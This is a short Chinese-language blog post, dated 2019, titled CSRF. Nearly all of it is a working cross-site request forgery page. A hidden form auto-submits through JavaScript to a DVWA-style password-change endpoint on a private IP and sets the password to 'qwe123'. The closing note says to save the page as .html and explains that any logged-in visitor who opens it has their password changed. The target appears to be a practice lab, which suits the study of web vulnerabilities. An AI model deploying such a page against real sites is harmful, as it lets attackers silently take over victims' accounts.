CSRF

 1 <style>
 2 form{
 3 display:none;
 4 }
 5 </style>
 6     <form action="http://192.168.1.120/vulnerabilities/csrf/" method="GET">
 7         New password:<br />
 8         <input type="password" AUTOCOMPLETE="off" name="password_new" value="qwe123"><br />
 9         Confirm new password:<br />
10         <input type="password" AUTOCOMPLETE="off" name="password_conf" value="qwe123"><br />
11 <input type="hidden" name="Change" value="Change" />
12         <br />
13     </form>
14 <script>document.forms[0].submit()</script>

改成html后缀

别人点开页面时就会更改密码（在已登录状态）

posted on 2019-08-16 18:17 邓阮叶阅读(108) 评论(0) 收藏举报